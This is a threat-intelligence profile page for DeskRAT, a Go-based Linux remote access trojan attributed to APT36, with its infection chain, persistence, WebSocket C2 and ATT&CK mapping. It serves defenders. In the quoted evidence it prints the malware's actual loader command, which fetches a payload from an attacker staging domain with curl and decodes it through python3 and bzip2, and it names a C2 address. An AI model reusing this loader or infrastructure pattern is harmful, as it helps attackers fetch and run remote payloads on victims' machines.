Skip to main content
Mallory
Malware2 associated actors

DeskRAT

Tracked since Nov 25, 2025 · Updated today
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns0Associated
Actors2Associated
ATT&CK15Techniques
IOCs38Tracked
Type
RAT
Capabilities
PersistenceExfiltrationReconnaissanceDefense evasionPost exploitation
Delivery
SpearphishingLure
Platforms
Linux

DeskRAT is a Go-based remote access trojan used by the Pakistan-nexus cyberespionage group Transparent Tribe, also known as APT36, against Indian government and defense organizations. Identified in 2025, it targets Linux systems, particularly Bharat Operating System Solutions (BOSS) environments used by Indian government and military organizations.

Its principal infection chain uses spear-phishing messages carrying ZIP archives or links to hosted archives. These contain malicious freedesktop launchers disguised as PDF documents. Executing a launcher triggers an obfuscated shell-based download and decoding sequence that installs a Go ELF payload while displaying a military- or government-themed decoy PDF. Delivery infrastructure has included legitimate cloud storage and dedicated staging servers. Layered encoding and concealed launcher configuration obscure the execution chain.

DeskRAT communicates with its command-and-control infrastructure over unencrypted WebSocket connections using the Gorilla WebSocket library. It attempts multiple configured endpoints and sends heartbeat messages containing host and activity information. Operators can enumerate directories, collect files matching configured extensions, exfiltrate matching files smaller than 100 MB, and upload and execute additional payloads. Supported execution methods include Python and shell interpreters, desktop launchers, and direct executable invocation.

DeskRAT supports persistence through systemd services, recurring cron jobs, GNOME autostart entries, and Bash startup mechanisms. Its associated management infrastructure provides centralized endpoint monitoring, file browsing, collection, and remote payload execution, supporting continued access and intelligence collection from compromised systems.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Threat actors

Associated threat actors

2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
APT36

In August and September 2025, Sekoia.io YARA Trackers matched new samples, representing an updated infection chain ultimately delivering a Golang-based RAT which we dubbed DeskRAT .

via sekoia blogsekoia.com
SideCopy

The campaigns are characterized by the use of malware families like Geta RAT, Ares RAT, and DeskRAT...

via cloudatg insightscloudatg.com
MITRE ATT&CK

Techniques & procedures

15 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1566PhishingEvidence2

The disclosure comes as details have emerged of a targeted phishing operation leveraging weaponized Linux .desktop files to target the Indian military infrastructure using contract-related lures associated with Indian-armored vehicle procurement operations.

T1566.001Spearphishing AttachmentEvidence2

The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks ... a plausible-enough artifact for a defense-contracting inbox to open without hesitation.

Execution

5 techniques
T1059Command and Scripting InterpreterEvidence1

"...run arbitrary shell commands..."

T1059.004Unix ShellEvidence2

Once executed, the malicious .desktop launcher initiates a heavily obfuscated shell-based infection chain involving staged payload retrieval, inline decoding routines, and deployment of a Golang-based ELF implant tracked in this report as DeskRAT.

T1059.005Visual BasicEvidence1

"DeskRAT, is delivered via a rogue PowerPoint Add-In file that runs embedded macro to establish outbound communication with a remote server to fetch the malware."

T1059.006PythonEvidence1

curl ${YAiuradJ} ${JOsQTdyK} | python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.a85decode(sys.stdin.read()))' | bzip2 -d

T1204.002Malicious FileEvidence1

APT36 ... is running an active Linux-targeted campaign ... delivered through abuse of the freedesktop .desktop file format with a triple-encoded bash loader.

Stealth

4 techniques
T1027Obfuscated Files or InformationEvidence1

The DeskRAT payload's ASCII85+bzip2 delivery mechanism, the decoded triple-encoded bash loader ( base64 → xxd -r -p → base64 ) ...

T1036MasqueradingEvidence1

The root of the infection chain is a 1.4 MB .desktop file, MoD_letter_update.desktop ... a 500 KB base64-encoded PNG icon (so the launcher displays a convincing document icon to the victim), and a much larger base64-encoded .pdf-looking block that's actually unused data

T1564.001Hidden Files and DirectoriesEvidence1

the client-side /tmp/.wAhJmE-<md5> randomized drop path ... The randomized drop path ( /tmp/.wAhJmE-<md5> ) and the dotfile prefix keep the payload hidden from ls without -a

T1684.001ImpersonationEvidence1

The campaign appears to target individuals connected to Indian military and defense infrastructure ecosystems using WhatsApp-based social engineering and staged shell payload delivery.

Discovery

1 technique
T1082System Information DiscoveryEvidence1

"Geta RAT supports various commands to collect system information, enumerate running processes..."

Command and Control

3 techniques
T1071Application Layer ProtocolEvidence2

The C2 protocol WebSocket ( ws:// over TCP/8080), gorilla/websocket implementation ... Sending a WebSocket upgrade ... all complete the handshake and receive a server-initiated JSON frame on connection

T1071.001Web ProtocolsEvidence1

The command-and-control channel is a WebSocket endpoint on 85.137.249[.]224:8080/ws ... The agent's runtime behavior is: dial wss://<c2>:8080/ws , register with a UUIDv4 session identifier prefixed cxx- , send heartbeats, and handle RPC messages over the WebSocket channel.

T1105Ingress Tool TransferEvidence2

Decoded, the command is plain: ... curl ... "https://" "bossmaya.xyz/download.php?file=client.txt" | python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.a85decode(sys.stdin.read()))' | bzip2 -d

Indicators of compromise

Observables

38 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

15 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+11 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching38Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors2Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping15Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.